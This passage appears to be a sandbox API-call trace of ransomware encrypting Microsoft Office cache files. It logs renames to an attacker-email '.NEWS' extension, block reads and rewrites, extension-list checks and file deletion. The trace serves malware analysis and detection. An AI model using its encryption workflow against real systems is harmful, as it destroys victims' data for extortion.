[0051.782] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0051.782] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0051.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0051.782] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=2865664) returned 1 [0051.782] CloseHandle (hObject=0x1c4) returned 1 [0051.782] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0051.782] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.783] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0051.783] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0051.783] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.784] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.784] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.938] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.938] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.992] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.992] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.992] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.245] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.245] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.613] SetEndOfFile (hFile=0x1c4) returned 1 [0052.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3fc5888 [0052.672] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.672] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.675] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.675] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.686] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.686] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fc5888 | out: hHeap=0x5c0000) returned 1 [0052.690] CloseHandle (hObject=0x1c4) returned 1 [0054.056] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0054.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.057] lstrlenW (lpString=".doc") returned 4 [0054.057] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.057] lstrlenW (lpString=".docx") returned 5 [0054.057] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.057] lstrlenW (lpString=".pdf") returned 4 [0054.057] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.057] lstrlenW (lpString=".xls") returned 4 [0054.057] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.057] lstrlenW (lpString=".xlsx") returned 5 [0054.057] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.057] lstrlenW (lpString=".ppt") returned 4 [0054.057] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.057] lstrlenW (lpString=".zip") returned 4 [0054.057] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.057] lstrlenW (lpString=".rar") returned 4 [0054.057] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.058] lstrlenW (lpString=".bz2") returned 4 [0054.058] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.058] lstrlenW (lpString=".7z") returned 3 [0054.058] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.058] lstrlenW (lpString=".dbf") returned 4 [0054.058] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.058] lstrlenW (lpString=".1cd") returned 4 [0054.058] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.058] lstrlenW (lpString=".jpg") returned 4 [0054.058] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.058] lstrlenW (lpString=".doc") returned 4 [0054.058] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.058] lstrlenW (lpString=".docx") returned 5 [0054.058] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.059] lstrlenW (lpString=".pdf") returned 4 [0054.059] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.059] lstrlenW (lpString=".xls") returned 4 [0054.059] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.059] lstrlenW (lpString=".xlsx") returned 5 [0054.059] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.059] lstrlenW (lpString=".ppt") returned 4 [0054.059] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.059] lstrlenW (lpString=".zip") returned 4 [0054.059] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.059] lstrlenW (lpString=".rar") returned 4 [0054.059] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.059] lstrlenW (lpString=".bz2") returned 4 [0054.059] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.059] lstrlenW (lpString=".7z") returned 3 [0054.059] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.059] lstrlenW (lpString=".dbf") returned 4 [0054.059] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.060] lstrlenW (lpString=".1cd") returned 4 [0054.060] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0054.060] lstrlenW (lpString=".jpg") returned 4 [0054.060] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.060] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0054.060] lstrlenW (lpString="Proof.cab") returned 9 [0054.060] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0054.061] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=11482605) returned 1 [0054.061] CloseHandle (hObject=0x1c4) returned 1 [0054.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0054.061] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.061] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0054.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0054.305] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.305] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.306] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.366] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.366] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.379] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.380] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.380] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.729] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.730] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0054.766] SetEndOfFile (hFile=0x1c4) returned 1 [0054.767] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3fe5888 [0054.868] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.868] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fe5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.870] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.870] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fe5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.874] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.874] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fe5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5888*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fe5888 | out: hHeap=0x5c0000) returned 1 [0054.878] CloseHandle (hObject=0x1c4) returned 1 [0058.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.793] lstrlenW (lpString=".doc") returned 4 [0058.793] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.793] lstrlenW (lpString=".docx") returned 5 [0058.793] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0058.793] lstrlenW (lpString=".pdf") returned 4 [0058.793] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.793] lstrlenW (lpString=".xls") returned 4 [0058.793] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.793] lstrlenW (lpString=".xlsx") returned 5 [0058.793] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0058.794] lstrlenW (lpString=".ppt") returned 4 [0058.794] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.794] lstrlenW (lpString=".zip") returned 4 [0058.794] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.794] lstrlenW (lpString=".rar") returned 4 [0058.794] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.794] lstrlenW (lpString=".bz2") returned 4 [0058.794] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.794] lstrlenW (lpString=".7z") returned 3 [0058.794] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.794] lstrlenW (lpString=".dbf") returned 4 [0058.794] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.794] lstrlenW (lpString=".1cd") returned 4 [0058.794] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.794] lstrlenW (lpString=".jpg") returned 4 [0058.794] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.906] lstrlenW (lpString=".doc") returned 4 [0058.906] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0058.906] lstrlenW (lpString=".docx") returned 5 [0058.906] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0058.906] lstrlenW (lpString=".pdf") returned 4 [0058.906] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0058.906] lstrlenW (lpString=".xls") returned 4 [0058.906] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0058.906] lstrlenW (lpString=".xlsx") returned 5 [0058.906] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0058.906] lstrlenW (lpString=".ppt") returned 4 [0058.906] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0058.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.906] lstrlenW (lpString=".zip") returned 4 [0058.907] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0058.907] lstrlenW (lpString=".rar") returned 4 [0058.907] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0058.907] lstrlenW (lpString=".bz2") returned 4 [0058.907] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0058.907] lstrlenW (lpString=".7z") returned 3 [0058.907] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0058.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.907] lstrlenW (lpString=".dbf") returned 4 [0058.907] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0058.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.907] lstrlenW (lpString=".1cd") returned 4 [0058.907] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0058.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0058.907] lstrlenW (lpString=".jpg") returned 4 [0058.907] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0058.907] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0058.908] lstrlenW (lpString="Office32MUI.msi") returned 15 [0058.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.908] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=873984) returned 1 [0058.908] CloseHandle (hObject=0x190) returned 1 [0058.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0058.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0058.908] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.909] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0058.909] GetLastError () returned 0x0 [0058.909] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0058.949] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0059.507] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.507] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0059.507] SetEndOfFile (hFile=0x1e4) returned 1 [0059.508] CloseHandle (hObject=0x1e4) returned 1 [0059.807] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.807] SetEndOfFile (hFile=0x190) returned 1 [0059.978] CloseHandle (hObject=0x190) returned 1 [0059.979] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0059.979] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0059.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0059.979] lstrlenW (lpString="C:\\MSOCache\\All 